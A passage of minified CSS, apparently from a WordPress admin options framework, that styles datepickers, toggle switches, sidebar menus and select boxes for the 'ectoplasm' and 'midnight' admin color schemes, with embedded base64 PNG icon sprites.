+oBhNZ/PYY4ZAHYb3PRd4LkZmPX68NRtMZn4ASvdA+qf0jMA5MP9eeg28Nug9QiLnj5A33U1MAES6xHAUNpz/9zFAYE1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-ectoplasm .ui-datepicker-header{background-color:#413256 !important;color:#fff !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-active{background-color:#a9bd4f !important;color:#fff !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-hover{color:#a9bd4f !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-highlight{background:#a3b745 !important;border:1px solid #413256 !important;color:#fff !important}.admin-color-ectoplasm .fusionredux-container-switch .cb-disable,.admin-color-ectoplasm .fusionredux-container-switch .cb-enable,.admin-color-ectoplasm .ui-state-default,.admin-color-ectoplasm .ui-widget-content .ui-state-default,.admin-color-ectoplasm .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-ectoplasm .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-ectoplasm .fusionredux-container-switch .cb-enable.selected,.admin-color-ectoplasm .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#a3b745 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b0c25e), to(#a3b745)) !important;background-image:-moz-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-ms-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b0c25e), color-stop(100%, #a3b745)) !important;background-image:-webkit-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-o-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-linear-gradient(top, #b0c25e, #a3b745) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#b0c25e", endColorstr="#a3b745", GradientType=0) !important;border-color:#727f30 !important;border-color:#829237 !important;-webkit-box-shadow:inset 0 1px 0 #bfcd7b,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #bfcd7b,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-ectoplasm #fusionredux-header{background:#413256;border-color:#a3b745}.admin-color-ectoplasm #fusionredux-header .display_header span{color:#cbc5d3}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#413256}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#89993a;background:#291f36}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#a3b745}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#413256}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#cbc5d3;text-shadow:1px 1px #7d6e91}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#413256;text-shadow:none}.admin-color-ectoplasm .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#a3b745;text-shadow:1px 1px #616d29}.admin-color-ectoplasm .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#a3b745;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-ectoplasm #fusionredux-footer #fusionredux-share a{color:#a3b745}.admin-color-ectoplasm #fusionredux-footer #fusionredux-share a:hover{color:#616d29}.admin-color-ectoplasm .select3-results .select3-highlighted{background:#a3b745}.admin-color-ectoplasm .select3-drop-active,.admin-color-ectoplasm .select3-container-multi.select3-container-active .select3-choices,.admin-color-ectoplasm .select3-drop.select3-drop-above.select3-drop-active,.admin-color-ectoplasm .select3-container-active .select3-choice,.admin-color-ectoplasm .select3-container-active .select3-choices,.admin-color-ectoplasm .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-ectoplasm .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#a3b745}.admin-color-ectoplasm .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-ectoplasm .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-ectoplasm .noUi-connect{background-color:#a9bd4f !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b6c669), to(#a9bd4f)) !important;background-image:-moz-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-ms-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b6c669), color-stop(100%, #a9bd4f)) !important;background-image:-webkit-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-o-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-linear-gradient(top, #b6c669, #a9bd4f) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#b6c669", endColorstr="#a9bd4f", GradientType=0) !important}.admin-color-midnight .button.ui-datepicker-current,.admin-color-midnight button.ui-datepicker-close{background-color:#e35950 !important}.admin-color-midnight .ui-datepicker-buttonpane button.ui-datepicker-current{background:#d92c23 !important;color:#fff !important;border:1px solid #811a15 !important}.admin-color-midnight .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-midnight .ui-datepicker-header{background-color:#363b3f !important;color:#fff !important}.admin-color-midnight .ui-datepicker td .ui-state-active{background-color:#e35950 !important;color:#fff !important}.admin-color-midnight .ui-datepicker td .ui-state-hover{color:#e35950 !important}.admin-color-midnight .ui-datepicker td .ui-state-highlight{background:#e14d43 !important;border:1px solid #363b3f !important;color:#fff !important}.admin-color-midnight .fusionredux-container-switch .cb-disable,.admin-color-midnight .fusionredux-container-switch .cb-enable,.admin-color-midnight .ui-state-default,.admin-color-midnight .ui-widget-content .ui-state-default,.admin-color-midnight .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-midnight .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-midnight .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-midnight .fusionredux-container-switch .cb-enable.selected,.admin-color-midnight .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#e14d43 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e66a62), to(#e14d43)) !important;background-image:-moz-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-ms-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e66a62), color-stop(100%, #e14d43)) !important;background-image:-webkit-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-o-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-linear-gradient(top, #e66a62, #e14d43) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e66a62", endColorstr="#e14d43", GradientType=0) !important;border-color:#ba281e !important;border-color:#d02c21 !important;-webkit-box-shadow:inset 0 1px 0 #ec8b85,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #ec8b85,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-midnight #fusionredux-header{background:#363b3f;border-color:#e14d43}.admin-color-midnight #fusionredux-header .display_header span{color:#c2c4c5}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu 